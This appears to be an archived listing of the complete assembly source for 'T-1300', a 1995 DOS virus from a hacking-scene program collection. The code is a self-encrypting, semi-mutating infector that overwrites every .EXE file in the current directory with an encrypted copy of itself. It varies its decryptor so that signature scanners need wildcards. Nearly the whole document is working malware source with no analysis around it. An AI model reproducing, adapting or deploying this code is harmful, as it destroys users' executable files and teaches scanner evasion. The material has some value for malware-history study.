home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / T.ZIP / T-1300.ZIP / T-1300.ASM next >
Assembly Source File  |  1995-05-23  |  2KB  |  80 lines

  1. ;
  2. ; T-1300 Virus
  3. ;
  4. ; This is a non-resident overwriting self-encrypting semi-mutating .exe file
  5. ; infector. When an infected program is run, the virus will infect all the
  6. ; file in the current directory and displays "T-1300" when finished with
  7. ; infecting. This is a bit more advanced virus than "T-1000" and a wildcard
  8. ; scanstring is needed to find this virus.
  9. ;
  10. S_1:            Lea Si,Main
  11.                 Mov Cx,MainLen
  12. Length          Equ $-2
  13. Decrypt:        Xor B [Si],0
  14. CryptByte       Equ $-1
  15. S_2             Equ $-2
  16. S_3:            Inc Si
  17. S_4:            Loop Decrypt
  18. CryptLen        Equ $-S_1
  19. Main:           Mov Ah,4eh
  20. SeekNext:       Lea Dx,FileSpec
  21.                 Xor Cx,Cx
  22.                 Int 21h
  23.                 Jc Einde
  24.                 Mov Ax,3d02h
  25.                 Mov Dx,09eh
  26.                 Int 21h
  27.                 Xchg Ax,Bx
  28.                 Mov Ds,Cx
  29.                 Inc Cx
  30.                 Mov Ah,B Ds:[46ch]
  31.                 Mov Ds,Cs
  32.                 Mov B CryptByte,Ah
  33.                 Test Ah,1
  34.                 Jne NoReg
  35.                 Xor B S_1,Cl
  36.                 Xor B S_2,Cl
  37.                 Xor B S_3,Cl
  38. NoReg:          Test Ah,2
  39.                 Jne NoXor
  40.                 Xor B Decrypt,2
  41. NoXor:          Test Ah,4
  42.                 Jne NoLoop
  43.                 Xor B S_4,2
  44. NoLoop:         Lea Si,Main
  45.                 Lea Di,CryptPart
  46.                 Mov Cx,MainLen
  47.                 Push Cx
  48. CodeIt:         Lodsb
  49.                 Xor Al,Ah
  50.                 Stosb
  51.                 Loop CodeIt
  52.                 Pop Cx
  53.                 And Ax,03fffh
  54.                 Add Cx,Ax
  55.                 Mov W Length,Cx
  56.                 Mov Ah,40h
  57.                 Lea Dx,S_1
  58.                 Mov Cx,CryptLen
  59.                 Int 21h
  60.                 Mov Ah,40h
  61.                 Lea Dx,CryptPart
  62.                 Mov Cx,MainLen
  63.                 Int 21h
  64.                 Mov Ah,3eh
  65.                 Int 21h
  66.                 Mov Ah,4fh
  67.                 Jmp SeekNext
  68. Einde:          Mov Ah,9
  69.                 Lea Dx,Msg
  70.                 Int 21h
  71.                 Ret
  72.  
  73. FileSpec        Db '*.EXE',0
  74.  
  75. Msg             Db 'T-1300$'
  76.  
  77. MainLen         Equ $-Main
  78.  
  79. CryptPart       Equ $
  80.